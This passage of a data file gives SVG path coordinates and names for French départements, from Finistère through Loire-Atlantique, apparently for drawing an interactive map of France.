25.625,163.4375 L 23.09375,163.25 L 20.75,163.25 L 16.84375,163.84375 L 10.1875,164.21875 L 8.84375,166 L 10.78125,167.15625 L 12.9375,166.96875 L 14.6875,168.53125 L 17.21875,168.34375 L 21.34375,173.03125 L 22.3125,178.09375 L 20.9375,180.84375 L 25.03125,181.625 L 29.53125,181.40625 L 30.5,179.65625 L 28.75,177.3125 L 30.5,178.09375 L 32.28125,177.90625 L 35.40625,179.65625 L 37.34375,179.28125 L 37.34375,175.9375 L 38.125,179.28125 L 40.65625,183.375 L 46.125,183.75 L 46.34375,182.59375 L 47.6875,184.53125 L 51.03125,185.125 L 53.5625,185.125 L 53.71875,185.34375 L 54.65625,181.5 L 56.9375,181.5 L 58.0625,179.71875 L 59.5,179.71875 L 59.65625,176.84375 L 60.46875,175.875 L 58.875,173.75 L 57.90625,174.90625 L 55.46875,172.96875 L 50.46875,172.15625 L 49.65625,169.25 L 48.21875,165.53125 L 48.0625,164.09375 L 50.46875,162.15625 L 52.75,162.15625 L 56,160.59375 L 55.3125,158.125 L 56.28125,157.15625 L 55.96875,151.5 L 54.5,149.5625 L 54.5,147.15625 L 56.78125,146.5 L 54.34375,145.6875 L 54.1875,143.78125 L 55.3125,142.96875 L 56.9375,141.34375 L 55.15625,140.21875 L 55.3125,138.125 L 52.90625,137.96875 L 54.03125,132.71875 L 50.8125,130.84375 L 45.34375,131.03125 L 45.34375,134.9375 L 43.78125,134.9375 L 43.40625,133.1875 L 41.0625,133.5625 L 40.65625,129.0625 z ", "name" : "Finistère"},
	"FR-30" : {"path": "M 346.1875,381.03125 L 345.21875,382.90625 L 344,383.96875 L 341.6875,384.34375 L 344.5,387.34375 L 344.5,391.40625 L 345.75,391.75 L 344.34375,393.34375 L 344.34375,396.34375 L 342.03125,399.875 L 336.90625,399.34375 L 333.90625,396.53125 L 331.78125,397.0625 L 332.5,398.8125 L 331.625,400.0625 L 326.46875,401.125 L 320.4375,397.09375 L 319.28125,398.125 L 319.28125,400.90625 L 317.0625,401.4375 L 317.625,403.65625 L 320.375,404.21875 L 323.40625,404.21875 L 324.25,408.0625 L 320.65625,409.71875 L 320.65625,411.46875 L 323.46875,412.4375 L 323.46875,414.03125 L 324.71875,414.75 L 325.78125,413.84375 L 327.1875,413.84375 L 327.90625,415.4375 L 330.03125,415.4375 L 331.09375,411.71875 L 332.84375,411.71875 L 335.5,408.375 L 338.6875,408.71875 L 339.21875,413.3125 L 340.4375,414.75 L 342.40625,413.6875 L 345.75,415.4375 L 347,417.5625 L 352.8125,421.09375 L 354.9375,426.0625 L 354.9375,428.6875 L 351.21875,430.8125 L 348.8125,432.96875 L 351.8125,433.1875 L 351.8125,437.09375 L 356.28125,436.875 L 358.6875,437 L 360.4375,432.9375 L 366.78125,429.0625 L 365.40625,427.125 L 367.0625,422.71875 L 372.84375,423.53125 L 374.25,413.03125 L 381.96875,408.625 L 381.96875,406.125 L 376.15625,400.34375 L 376.15625,395.90625 L 372.84375,390.40625 L 365.9375,386.53125 L 365.40625,389.5625 L 362.625,389.84375 L 361.8125,386.8125 L 359.03125,387.34375 L 358.5,391.21875 L 356.28125,390.40625 L 351.59375,387.34375 L 349.375,388.46875 L 349.375,382.9375 L 346.1875,381.03125 z ", "name" : "Gard"},
	"FR-31" : {"path": "M 245,412.4375 L 242.15625,413.5 L 241.28125,414.90625 L 240.21875,413.6875 L 238.28125,413.5 L 237.90625,415.28125 L 236.6875,415.78125 L 238.4375,416.6875 L 237.21875,418.625 L 232.78125,419.875 L 230.84375,417.5625 L 229.09375,417.5625 L 227.65625,418.4375 L 222.53125,418.4375 L 222,418.65625 L 222.53125,420.5625 L 225.53125,423.5625 L 225.375,425.15625 L 227.65625,427.46875 L 229.09375,427.46875 L 229.78125,429.21875 L 231.5625,429.40625 L 232.09375,431 L 230.3125,431.71875 L 226.59375,433.3125 L 224.84375,437.375 L 223.4375,441.59375 L 222.53125,442.84375 L 219.71875,440.90625 L 213.15625,440.375 L 209.625,444.96875 L 207.6875,446.03125 L 206.4375,447.78125 L 205.03125,449.90625 L 205.03125,451.15625 L 202.75,452.03125 L 200.96875,455.03125 L 200.78125,456.625 L 203.96875,458.9375 L 204.5,461.21875 L 203.4375,463 L 205.5625,462.28125 L 206.625,463.1875 L 207.5,466.875 L 205.03125,468.3125 L 205.21875,470.25 L 203.96875,471.46875 L 202.21875,470.59375 L 200.25,470.59375 L 200.5,481.09375 L 208.4375,481.625 L 208.84375,472.03125 L 211.5625,472.4375 L 215.59375,474.78125 L 217.25,473.25 L 216.53125,472.1875 L 216.53125,468.65625 L 218.28125,466.53125 L 222.90625,465.28125 L 223.59375,462.65625 L 222.53125,461.9375 L 222.375,458.5625 L 226.4375,456.09375 L 228.71875,455.9375 L 231.03125,456.625 L 232.96875,458.40625 L 234.21875,458.5625 L 235.28125,456.8125 L 234.375,455.5625 L 232.78125,455.03125 L 232.625,454.5 L 233.84375,452.75 L 238.09375,452.375 L 238.625,451.34375 L 237.90625,450.09375 L 235.4375,448.3125 L 235.96875,447.25 L 237.21875,446.375 L 238.4375,446.71875 L 240.40625,449.375 L 240.5625,451.15625 L 243.9375,451.5 L 244.625,449.90625 L 243.03125,447.96875 L 244.09375,448.3125 L 248,450.09375 L 250.125,449.75 L 251.6875,449.09375 L 251.3125,448.6875 L 253.8125,447.5625 L 254.34375,444.53125 L 257.40625,443.15625 L 256.5625,441.21875 L 259.34375,438.71875 L 260.71875,441.21875 L 264.84375,439.84375 L 265.625,439.71875 L 265.6875,438.4375 L 265.6875,435.9375 L 263.5625,436.3125 L 260.90625,435.59375 L 258.59375,432.78125 L 257.71875,431.53125 L 253.125,429.59375 L 252.0625,428 L 253.46875,427.46875 L 253.46875,425.53125 L 252.0625,423.9375 L 250.28125,421.09375 L 250.125,418.625 L 249.59375,418.28125 L 247.46875,415.78125 L 246.59375,413.15625 L 245,412.4375 z ", "name" : "Haute Garonne"},
	"FR-32" : {"path": "M 207.875,401.875 L 202.03125,402.4375 L 200.46875,405.1875 L 196.9375,405.5625 L 193.625,406.15625 L 192.25,404.21875 L 189.125,407.34375 L 186.8125,405.375 L 185.4375,408.3125 L 185.625,410.84375 L 183.46875,411.4375 L 182.5,410.0625 L 181.53125,407.125 L 178.78125,409.46875 L 176.84375,408.6875 L 174.6875,409.09375 L 172.75,411.4375 L 175.0625,415.34375 L 173.5,416.90625 L 174.09375,420.21875 L 172.15625,422.75 L 170.78125,426.46875 L 172.34375,429.21875 L 177.28125,429.5625 L 179.21875,428.53125 L 182.21875,428.53125 L 182.0625,431.875 L 184.34375,433.125 L 186.65625,433.46875 L 187.71875,436.3125 L 188.25,436.84375 L 187.90625,438.59375 L 187.1875,439.3125 L 189.3125,440.71875 L 189.46875,442.3125 L 192.125,442.3125 L 192.84375,441.59375 L 195.125,441.59375 L 195.84375,443.1875 L 198.3125,443.1875 L 199.03125,444.625 L 203.8125,444.625 L 207.375,446.46875 L 207.6875,446.03125 L 209.625,444.96875 L 213.15625,440.375 L 219.71875,440.90625 L 222.53125,442.84375 L 223.4375,441.59375 L 224.84375,437.375 L 226.59375,433.3125 L 230.3125,431.71875 L 232.09375,431 L 231.5625,429.40625 L 229.78125,429.21875 L 229.09375,427.46875 L 227.65625,427.46875 L 225.375,425.15625 L 225.53125,423.5625 L 222.53125,420.5625 L 222,418.65625 L 220.0625,419.5 L 219.53125,418.4375 L 220.78125,416.5 L 219.34375,415.09375 L 219.34375,412.625 L 218.125,411.375 L 214.21875,411.1875 L 214.21875,408.90625 L 216.34375,407.3125 L 216.34375,405.53125 L 218.65625,404.46875 L 217.40625,403.78125 L 216,404.46875 L 213.15625,404.46875 L 212.28125,403.65625 L 211.8125,403.8125 L 210.8125,404.78125 L 207.875,401.875 z ", "name" : "Gers"},
	"FR-33" : {"path": "M 141.25,315.21875 L 138.125,319.90625 L 137.15625,336.3125 L 134.625,352.90625 L 132.84375,365.78125 L 132.65625,369.125 L 134.03125,364.625 L 136.75,361.09375 L 140.65625,364.625 L 141.0625,365.78125 L 142.21875,367.34375 L 137.34375,367.5625 L 136.5625,366.375 L 134.625,367.15625 L 134.21875,370.09375 L 132.0625,373.03125 L 132.0625,377.5 L 132.03125,377.6875 L 133.625,377.625 L 139.8125,374.4375 L 143.15625,375.65625 L 143,377.96875 L 141.5625,379.71875 L 143.15625,380.78125 L 146.53125,379.375 L 148.8125,380.96875 L 150.25,380.78125 L 152.34375,379.03125 L 155.90625,378.5 L 157.125,379.5625 L 158.1875,380.4375 L 158.1875,381.5 L 157.3125,382.5625 L 160.5,383.4375 L 162.4375,384.6875 L 162.625,386.28125 L 164.375,386.4375 L 166.84375,389.09375 L 167.5625,393.53125 L 171.09375,394.75 L 174.46875,394.59375 L 174.46875,393.53125 L 174.09375,390 L 175.15625,390.34375 L 177.15625,392.78125 L 180.28125,392.28125 L 181.71875,390.875 L 181.53125,388.9375 L 180.28125,387.875 L 180.65625,385.90625 L 182.59375,385.90625 L 184.53125,384.6875 L 183.65625,382.90625 L 183.125,380.25 L 184.53125,377.78125 L 187.53125,373.1875 L 189.3125,371.0625 L 190.90625,370.53125 L 191.25,368.78125 L 189.125,368.59375 L 188.25,366.65625 L 188.9375,364.71875 L 191.4375,364.1875 L 193.1875,363.65625 L 195.25,363.375 L 195.125,363.28125 L 194.96875,359.40625 L 196.90625,358 L 194.4375,356.40625 L 191.96875,359.40625 L 185.9375,359.59375 L 185.40625,358.15625 L 183.65625,357.28125 L 185.0625,355.5 L 185.0625,353.5625 L 184.34375,352.5 L 184.34375,351.4375 L 186.125,350.375 L 186.65625,347.21875 L 187.71875,344.375 L 186.65625,342.78125 L 184.71875,342.78125 L 183.6875,341.5625 L 182.6875,343.65625 L 180.75,342.28125 L 178,343.65625 L 175.65625,343.28125 L 171.1875,338.78125 L 168.4375,338.59375 L 167.65625,332.34375 L 162.5625,331.75 L 162.375,328.8125 L 161.40625,329.78125 L 155.625,329.78125 L 155.90625,331.03125 L 157.28125,336.6875 L 157.65625,342.34375 L 156.6875,343.90625 L 155.71875,339.21875 L 152.96875,328.5 L 143,319.5 L 143.21875,315.40625 L 141.25,315.21875 z ", "name" : "Gironde"},
	"FR-34" : {"path": "M 335.5,408.375 L 332.84375,411.71875 L 331.09375,411.71875 L 330.03125,415.4375 L 327.90625,415.4375 L 327.1875,413.84375 L 325.78125,413.84375 L 324.71875,414.75 L 323.46875,414.03125 L 323.46875,412.4375 L 320.65625,411.46875 L 320.65625,412.5 L 317.34375,413.03125 L 315.6875,414.4375 L 316.21875,417.75 L 313.1875,417.75 L 310.15625,416.09375 L 308.5,416.09375 L 308.5,418.03125 L 308.78125,423.8125 L 305.46875,423.8125 L 303.8125,423.8125 L 302.6875,426.03125 L 295.5,428.5 L 292.75,426.59375 L 291.09375,429.0625 L 290.28125,431.8125 L 293.3125,434.59375 L 292.1875,438.1875 L 288,439.5 L 288.84375,441.78125 L 287.0625,443.90625 L 288.125,446.375 L 290.25,447.96875 L 292.71875,446.375 L 294.5,450.09375 L 298.1875,448.84375 L 298.375,445.3125 L 300.84375,445.3125 L 300.3125,443.1875 L 301.375,442.65625 L 301.75,445.65625 L 303.84375,446.90625 L 305.625,446.71875 L 307.9375,450.09375 L 310.40625,450.28125 L 311.28125,453.09375 L 313.78125,453.1875 L 313.90625,452.125 L 320.9375,449.96875 L 321.71875,448.21875 L 327.1875,448.03125 L 328.9375,445.875 L 339.5,437.46875 L 346.125,432.78125 L 348.8125,432.96875 L 351.21875,430.8125 L 354.9375,428.6875 L 354.9375,426.0625 L 352.8125,421.09375 L 347,417.5625 L 345.75,415.4375 L 342.40625,413.6875 L 340.4375,414.75 L 339.21875,413.3125 L 338.6875,408.71875 L 335.5,408.375 z ", "name" : "Hérault"},
	"FR-35" : {"path": "M 116.25,135.90625 L 114.375,138.03125 L 115.46875,143.9375 L 117.09375,144.5625 L 118.0625,146.5 L 117.09375,150.0625 L 116.125,158.9375 L 113.0625,159.5625 L 111.59375,158.125 L 110.15625,160.21875 L 107.40625,161.1875 L 105.3125,165.6875 L 104.03125,167.3125 L 104.5,169.40625 L 103.6875,172.625 L 102.25,173.9375 L 102.25,175.21875 L 103.21875,175.53125 L 105.96875,175.53125 L 108.375,177 L 110,179.90625 L 108.53125,181.84375 L 109.03125,183.75 L 111.125,183.75 L 111.28125,185.6875 L 109.65625,187.625 L 107.90625,188.4375 L 109.03125,189.09375 L 109.34375,190.0625 L 107.5625,191.5 L 109.625,195.375 L 113.5625,193.28125 L 125.65625,192.6875 L 126.4375,190.53125 L 128.40625,188.59375 L 132.6875,188 L 132.875,185.84375 L 135.8125,186.25 L 137.5625,188.59375 L 141.5,189.5625 L 142.25,188 L 143.25,184.46875 L 145.78125,178.21875 L 147.15625,177.4375 L 150.46875,177.84375 L 150.46875,172.5625 L 149.09375,171.1875 L 149.09375,165.53125 L 148.5,163.59375 L 148.5,160.46875 L 150.46875,158.5 L 150.46875,154.59375 L 149.5,153.8125 L 149.6875,148.34375 L 148.125,147.5625 L 145.78125,147.5625 L 143.8125,146 L 141.6875,148.53125 L 139.9375,148.75 L 138.375,150.875 L 136.8125,150.5 L 133.46875,147.5625 L 132.3125,143.84375 L 131.71875,141.375 L 122.125,141.375 L 118.59375,139.21875 L 120.9375,136.09375 L 116.25,135.90625 z ", "name" : "Ille et Vilaine"},
	"FR-36" : {"path": "M 254.71875,221.4375 L 253.46875,221.875 L 250.9375,221.71875 L 248,222.71875 L 247.3125,224.25 L 247.03125,223.6875 L 243.65625,223.84375 L 241.96875,225.25 L 240,225.53125 L 239.71875,226.5 L 241.28125,228.59375 L 240.84375,230.4375 L 239.03125,230.5625 L 239.03125,232.09375 L 237.625,233.375 L 236.09375,235.90625 L 234.6875,234.625 L 232.59375,234.21875 L 229.5,235.34375 L 228.78125,238.84375 L 227.8125,241.65625 L 226.28125,249.625 L 224.15625,251.59375 L 222.4375,251.75 L 222.9375,252.25 L 222.9375,255.96875 L 222.15625,258.3125 L 225.875,261.25 L 227.8125,263.1875 L 230.9375,263.59375 L 232.125,267.6875 L 234.25,268.84375 L 233.875,271.78125 L 232.3125,272.0625 L 232.875,272.1875 L 237.78125,272.5625 L 239.53125,270.8125 L 242.65625,273.9375 L 246.5625,269.4375 L 248.3125,270.625 L 250.65625,270.40625 L 251.4375,270.8125 L 254.96875,271 L 256.125,267.875 L 265.90625,269.0625 L 269.625,270.03125 L 271.3125,269.84375 L 271.40625,268.28125 L 273.375,266.3125 L 272.96875,264.625 L 271.84375,262.40625 L 272.25,261.5625 L 272.40625,259.03125 L 273.09375,258.1875 L 273.25,257.625 L 271.5625,256.09375 L 271,254.125 L 268.34375,252.71875 L 268.34375,251.03125 L 270.28125,249.90625 L 270.28125,248.78125 L 268.46875,247.25 L 267.90625,246.28125 L 269.3125,245.5625 L 269.1875,244.3125 L 271.40625,242.46875 L 271.28125,241.65625 L 269.46875,241.65625 L 268.34375,240.375 L 268.34375,239.6875 L 269.3125,238 L 269.3125,236.75 L 267.0625,233.78125 L 267.5,231.125 L 266.21875,230.15625 L 263.5625,230.28125 L 261.46875,231.125 L 258.65625,230.71875 L 257.25,229.59375 L 256.96875,228.75 L 259.21875,226.90625 L 259.375,224.6875 L 256.40625,223 L 254.71875,221.4375 z ", "name" : "Indre"},
	"FR-37" : {"path": "M 212.1875,196.875 L 212.5625,197.75 L 206.90625,199.3125 L 205.5625,201.28125 L 203.1875,199.71875 L 204.375,203.625 L 202.21875,203.625 L 198.3125,200.875 L 196.375,204.78125 L 197.34375,205.96875 L 197.34375,207.125 L 195.375,209.6875 L 195.59375,213.96875 L 192.46875,217.6875 L 190.25,225.6875 L 190.5,225.6875 L 191.28125,228.8125 L 195,229.59375 L 195,231.9375 L 199.6875,233.3125 L 199.6875,237.03125 L 199.5,239.375 L 205.34375,239.375 L 210.4375,238.1875 L 210.03125,236.03125 L 211.59375,235.0625 L 213.15625,237.21875 L 214.53125,237.8125 L 215.6875,242.5 L 219.03125,246 L 219.40625,248.75 L 222.4375,251.75 L 224.15625,251.59375 L 226.28125,249.625 L 227.8125,241.65625 L 228.78125,238.84375 L 229.5,235.34375 L 232.59375,234.21875 L 234.6875,234.625 L 236.09375,235.90625 L 237.625,233.375 L 239.03125,232.09375 L 239.03125,230.5625 L 240.84375,230.4375 L 241.28125,228.59375 L 239.71875,226.5 L 239.96875,225.625 L 238.875,224.6875 L 235.9375,220.34375 L 232.15625,220.34375 L 231.03125,218.65625 L 231.03125,211.625 L 229.5,207.5625 L 229.21875,202.53125 L 227.25,202.375 L 225,200.6875 L 224.4375,200.6875 L 222.46875,202.09375 L 221.21875,201.25 L 220.9375,199.3125 L 222.34375,198.59375 L 222.46875,197.90625 L 221.65625,197.1875 L 212.1875,196.875 z ", "name" : "Indre et Loire"},
	"FR-38" : {"path": "M 397.90625,298.6875 L 396.625,300.1875 L 395.34375,304 L 392.78125,305.28125 L 390.03125,302.71875 L 388.125,302.71875 L 387.90625,305.5 L 390.6875,307.84375 L 386.4375,313.34375 L 380.90625,314.625 L 376.65625,316.125 L 379.40625,318.875 L 380.0625,320.15625 L 375.8125,322.28125 L 375.375,328.4375 L 375.25,328.5 L 376.4375,330.96875 L 379.84375,332.03125 L 382.1875,331.1875 L 384.9375,329.28125 L 388.5625,332.25 L 391.53125,332.25 L 393.65625,335.21875 L 392.78125,337.34375 L 393.21875,340.34375 L 392.15625,343.3125 L 392.59375,344.375 L 394.0625,343.9375 L 397.46875,345 L 401.9375,346.28125 L 403.84375,345 L 404.6875,343.53125 L 405.34375,343.53125 L 405.53125,359.4375 L 406.59375,360.5 L 409.375,360.5 L 411.90625,362 L 413.8125,363.5 L 415.75,363.6875 L 417,364.75 L 420.53125,365.15625 L 420.78125,364.5625 L 419.21875,363.78125 L 419.21875,361.4375 L 424.09375,361.4375 L 425.65625,359.875 L 424.6875,358.125 L 427.21875,356.15625 L 429,356.9375 L 431.53125,354.78125 L 436,355.5625 L 437.5625,353.8125 L 441.28125,354 L 441.28125,349.71875 L 439.71875,348.9375 L 438.9375,346.40625 L 434.84375,346 L 434.25,345.03125 L 435.03125,340.9375 L 436.40625,339.75 L 435.28125,338.21875 L 433.15625,336.9375 L 431.875,338.21875 L 432.3125,336.5 L 432.3125,334.8125 L 430.59375,333.09375 L 431.46875,329.0625 L 433.375,328 L 433.15625,325.25 L 429.125,321.21875 L 427.625,321.21875 L 426.5625,322.6875 L 424.03125,319.3125 L 422.53125,319.5 L 421.25,322.28125 L 422.125,323.96875 L 421.46875,324.625 L 419.78125,323.34375 L 414.875,322.28125 L 412.5625,318.03125 L 412.5625,316.3125 L 410.21875,313.78125 L 409.96875,312.6875 L 402.15625,303.15625 L 401.28125,300.40625 L 399.59375,298.90625 L 397.90625,298.6875 z ", "name" : "Isère"},
	"FR-39" : {"path": "M 401.15625,217.53125 L 401.25,218.0625 L 400.46875,218.0625 L 400.0625,221.1875 L 399.5,223.34375 L 399.875,224.71875 L 398.71875,226.28125 L 397.53125,227.84375 L 397.53125,229.40625 L 394.21875,230.96875 L 393.25,232.53125 L 393.625,233.6875 L 393.8125,234.6875 L 392.46875,235.46875 L 392.25,238 L 393.8125,238.1875 L 395.59375,241.125 L 397.75,241.125 L 398.90625,242.5 L 400.28125,242.5 L 399.875,244.0625 L 395.375,244.625 L 395.78125,246.1875 L 397.34375,247.1875 L 397.34375,249.125 L 396.75,249.71875 L 397.9375,251.28125 L 399.6875,254.40625 L 398.90625,257.71875 L 396.9375,259.09375 L 397.15625,261.8125 L 399.5,262.59375 L 400.28125,263.78125 L 398.3125,265.34375 L 393.1875,265.96875 L 395.59375,266.90625 L 399.5,272.375 L 402.03125,273.53125 L 402.03125,276.28125 L 404.96875,275.875 L 408.6875,271.78125 L 411.8125,273.34375 L 411.8125,275.6875 L 417.46875,275.6875 L 425.59375,266.75 L 425.25,266.5625 L 425.625,262.46875 L 428.5625,258.96875 L 426.59375,258.1875 L 426.78125,257 L 424.40625,256.78125 L 424.25,255.375 L 425.78125,253.84375 L 425.375,252.3125 L 424.53125,250.34375 L 428.03125,249.21875 L 429.3125,247.40625 L 429.59375,245.15625 L 426.78125,242.46875 L 424.8125,241.9375 L 420.46875,240.53125 L 420.46875,236.59375 L 420.1875,233.65625 L 416.6875,233.9375 L 411.21875,232.09375 L 412.0625,230.15625 L 413.3125,227.1875 L 413.75,225.25 L 412.34375,223.40625 L 409.8125,221.71875 L 409.53125,219.625 L 409.5625,218.4375 L 407.84375,218.375 L 406.875,219.34375 L 404.34375,219.34375 L 402.65625,217.9375 L 401.15625,217.53125 z ", "name" : "Jura"},
	"FR-40" : {"path": "M 139.8125,374.4375 L 133.625,377.625 L 132.03125,377.6875 L 128.5625,396.25 L 124.0625,413.4375 L 122.6875,420.09375 L 121.53125,424.78125 L 118.625,429.78125 L 124.25,432.59375 L 129.375,432.25 L 132.375,429.59375 L 134.84375,431.53125 L 133.4375,432.9375 L 134.5,433.3125 L 135.375,432.0625 L 139.8125,432.40625 L 142.28125,430.46875 L 146.875,430.65625 L 148.65625,429.75 L 151.46875,429.75 L 152.1875,430.65625 L 154.46875,429.9375 L 156.59375,431.53125 L 159.4375,430.65625 L 163.15625,429.40625 L 163.6875,430.28125 L 169.34375,430.46875 L 172.15625,428.875 L 170.78125,426.46875 L 172.15625,422.75 L 174.09375,420.21875 L 173.5,416.90625 L 175.0625,415.34375 L 172.75,411.4375 L 174.6875,409.09375 L 176.84375,408.6875 L 178.78125,409.46875 L 181.53125,407.125 L 182.5,410.0625 L 183.46875,411.4375 L 185.625,410.84375 L 185.4375,408.3125 L 186.0625,406.9375 L 185.59375,405.71875 L 186.125,401.84375 L 188.25,399.71875 L 187.1875,398.46875 L 184.875,398.28125 L 182.21875,397.25 L 178.34375,397.59375 L 177.625,393.34375 L 175.15625,390.34375 L 174.09375,390 L 174.46875,393.53125 L 174.46875,394.59375 L 171.09375,394.75 L 167.5625,393.53125 L 166.84375,389.09375 L 164.375,386.4375 L 162.625,386.28125 L 162.4375,384.6875 L 160.5,383.4375 L 157.3125,382.5625 L 158.1875,381.5 L 158.1875,380.4375 L 157.125,379.5625 L 155.90625,378.5 L 152.34375,379.03125 L 150.25,380.78125 L 148.8125,380.96875 L 146.53125,379.375 L 143.15625,380.78125 L 141.5625,379.71875 L 143,377.96875 L 143.15625,375.65625 L 139.8125,374.4375 z ", "name" : "Landes"},
	"FR-41" : {"path": "M 222.5,172.25 L 221.1875,173.9375 L 219.625,176.65625 L 221.5625,178.4375 L 221.375,182.53125 L 220.59375,185.25 L 218.625,185.25 L 218.625,188.96875 L 215.90625,192.5 L 212.96875,193.65625 L 211.59375,195.40625 L 212.1875,196.875 L 221.65625,197.1875 L 222.46875,197.90625 L 222.34375,198.59375 L 220.9375,199.3125 L 221.21875,201.25 L 222.46875,202.09375 L 224.4375,200.6875 L 225,200.6875 L 227.25,202.375 L 229.21875,202.53125 L 229.5,207.5625 L 231.03125,211.625 L 231.03125,218.65625 L 232.15625,220.34375 L 235.9375,220.34375 L 238.875,224.6875 L 239.96875,225.625 L 240,225.53125 L 241.96875,225.25 L 243.65625,223.84375 L 247.03125,223.6875 L 247.3125,224.25 L 248,222.71875 L 250.9375,221.71875 L 253.46875,221.875 L 254.71875,221.4375 L 256.40625,223 L 259.375,224.6875 L 261.875,224.53125 L 261.75,222 L 262.875,220.75 L 264,220.625 L 264.96875,221.71875 L 268.90625,221.3125 L 271.40625,219.90625 L 271.125,218.9375 L 270.4375,218.09375 L 270.5625,216.25 L 272.40625,212.90625 L 274.78125,211.90625 L 274.78125,209.8125 L 275.34375,208.5625 L 273.8125,208 L 272.8125,205.875 L 270.28125,205.1875 L 270.15625,204.34375 L 272.6875,202.25 L 275.53125,200.84375 L 273.9375,198.46875 L 266.78125,198.1875 L 265.8125,199.3125 L 263.84375,199.3125 L 263.15625,198.59375 L 260.0625,198.1875 L 259.21875,200 L 257.25,200.5625 L 255.4375,198.46875 L 255,196.0625 L 253.34375,194.65625 L 250.8125,194.375 L 248.96875,193.125 L 248.96875,191.875 L 247.875,189.1875 L 250.09375,186.96875 L 249.8125,185.84375 L 248.84375,184.71875 L 247.71875,184.71875 L 247.71875,183.71875 L 248.84375,181.78125 L 248.96875,180.65625 L 247.3125,180.65625 L 244.78125,179.9375 L 242.40625,182.1875 L 239.71875,182.46875 L 235.375,181.34375 L 234.125,178.53125 L 232.4375,177.5625 L 231.46875,175.3125 L 228.65625,175.3125 L 227.53125,174.46875 L 229.21875,173.5 L 229.34375,172.65625 L 227.53125,172.65625 L 224.4375,173.21875 L 222.5,172.25 z ", "name" : "Loir et Cher"},
	"FR-42" : {"path": "M 339.53125,278.03125 L 336,278.625 L 335.4375,280.78125 L 336.8125,283.5 L 337.1875,294.625 L 332.5,294.84375 L 332.3125,296.59375 L 335.4375,299.125 L 333.6875,300.875 L 333.09375,305.1875 L 335.4375,308.3125 L 337.5625,313.375 L 342.65625,316.71875 L 344.40625,323.15625 L 340.6875,326.65625 L 341.28125,329 L 346.75,330.78125 L 351.0625,327.25 L 353.1875,327.0625 L 359.4375,329.78125 L 359.0625,333.5 L 362.1875,333.3125 L 364.65625,336.15625 L 366.46875,335.65625 L 369.84375,335.03125 L 370.71875,331.1875 L 375.375,328.4375 L 375.8125,322.28125 L 375.96875,322.1875 L 373.6875,321.84375 L 371.5625,322.6875 L 369.84375,321.625 L 371.96875,319.09375 L 371.34375,317.1875 L 364.75,316.125 L 359.21875,311.03125 L 359.21875,309.3125 L 360.5,308.25 L 360.5,306.78125 L 359.03125,305.90625 L 360.28125,304 L 360.28125,301.25 L 357.75,298.90625 L 357.75,296.5625 L 356.03125,294.875 L 356.03125,292.96875 L 355.1875,289.78125 L 356.46875,288.5 L 356.6875,284.6875 L 360.71875,284.6875 L 361.78125,283.40625 L 360.5,281.28125 L 360.5,279.375 L 359.4375,278.53125 L 358.6875,282.53125 L 356.53125,282.53125 L 354.96875,284.09375 L 353.78125,282.90625 L 347.53125,281.9375 L 345.1875,283.3125 L 343.625,283.3125 L 343.25,281.9375 L 340.3125,281.34375 L 340.125,278.21875 L 339.53125,278.03125 z ", "name" : "Loire"},
	"FR-43" : {"path": "M 317.8125,326.34375 L 316.40625,327.0625 L 316.40625,328.28125 L 314.28125,328.46875 L 312.34375,330.0625 L 308.8125,330.59375 L 308,331.75 L 308.625,331.8125 L 309.5,334.3125 L 313.9375,334.3125 L 314.8125,337.46875 L 316.0625,338.71875 L 316.40625,342.4375 L 317.46875,343.84375 L 319.59375,344.03125 L 318.34375,345.09375 L 317.28125,345.4375 L 318.1875,346.3125 L 317.125,347.90625 L 319.25,349.15625 L 320.3125,350.75 L 320.3125,352.40625 L 320.78125,352.25 L 324.3125,361.25 L 329.375,359.6875 L 329.75,357.34375 L 331.71875,357.34375 L 332.5,360.0625 L 336.125,359.1875 L 340.625,364.9375 L 343.4375,360.46875 L 348.5,356.75 L 353.1875,356.75 L 354.75,351.875 L 357.875,351.65625 L 358.09375,347.96875 L 361,347.96875 L 360.4375,346.59375 L 359.65625,344.0625 L 360.8125,342.09375 L 363.5625,340.9375 L 364.71875,336.25 L 362.1875,333.3125 L 359.0625,333.5 L 359.4375,329.78125 L 353.1875,327.0625 L 351.0625,327.25 L 346.75,330.78125 L 342.8125,329.5 L 342.03125,330.25 L 339.5625,329.53125 L 337.8125,327.75 L 336.75,329.875 L 333.71875,329.71875 L 332.3125,328.46875 L 331.25,330.9375 L 329.3125,330.0625 L 328.0625,327.75 L 326.46875,327.75 L 325.0625,326.53125 L 322.9375,327.40625 L 320.46875,327.59375 L 319.0625,326.6875 L 318.1875,327.21875 L 317.8125,326.34375 z ", "name" : "Haute Loire"},
	"FR-44" : {"path": "M 132.875,185.84375 L 132.6875,188 L 128.40625,188.59375 L 126.4375,190.53125 L 125.65625,192.6875 L 113.5625,193.28125 L 108.46875,196 L 108.28125,201.46875 L 102.8125,203.625 L 99.09375,205.5625 L 95.96875,205.5625 L 94.8125,204.21875 L 93.0625,205.96875 L 92.21875,206.125 L 93.21875,206.8125 L 89.5,210.125 L 90.28125,210.90625 L 91.0625,212.46875 L 89.09375,215.21875 L 91.25,216.375 L 94.96875,217.15625 L 95.34375,215.59375 L 97.5,218.34375 L 101.03125,218.34375 L 103.5625,215.59375 L 106.875,215.59375 L 103.375,217.34375 L 103.5625,219.3125 L 104.34375,221.0625 L 102.1875,223.21875 L 99.84375,223.21875 L 100.25,226.15625 L 104.53125,225.375 L 109.625,230.0625 L 109.375,230.375 L 113.0625,232.78125 L 113.875,234.71875 L 117.25,236.1875 L 119.84375,236.5 L 120.96875,239.5625 L 125,240.53125 L 127.71875,241.03125 L 129.1875,239.40625 L 127.71875,237.3125 L 127.09375,232.78125 L 128.375,231.34375 L 130.15625,231.34375 L 130.96875,233.125 L 130.46875,236.34375 L 131.59375,237.15625 L 134.5,236.1875 L 135.46875,232.96875 L 134.1875,231.65625 L 137.40625,231.65625 L 138.53125,229.5625 L 139.65625,229.71875 L 142.25,232.15625 L 144.125,232.40625 L 144.1875,230.375 L 142.5625,228.28125 L 141.125,228.28125 L 140.625,228.4375 L 139.65625,227.96875 L 140.46875,227.15625 L 140.46875,225.6875 L 142.09375,225.21875 L 143.0625,222.96875 L 142.25,222.15625 L 142.09375,219.40625 L 140,219.40625 L 137.90625,216.8125 L 137.90625,214.90625 L 140.15625,213.75 L 144.1875,212.96875 L 150.46875,213.125 L 152.40625,211.8125 L 151.75,207.78125 L 148.84375,205.0625 L 145.3125,205.53125 L 144.34375,204.71875 L 144.1875,201.84375 L 146.75,199.5625 L 144.8125,197.15625 L 143.53125,193.75 L 141.4375,192.46875 L 141.4375,190.21875 L 141.21875,189.5 L 137.5625,188.59375 L 135.8125,186.25 L 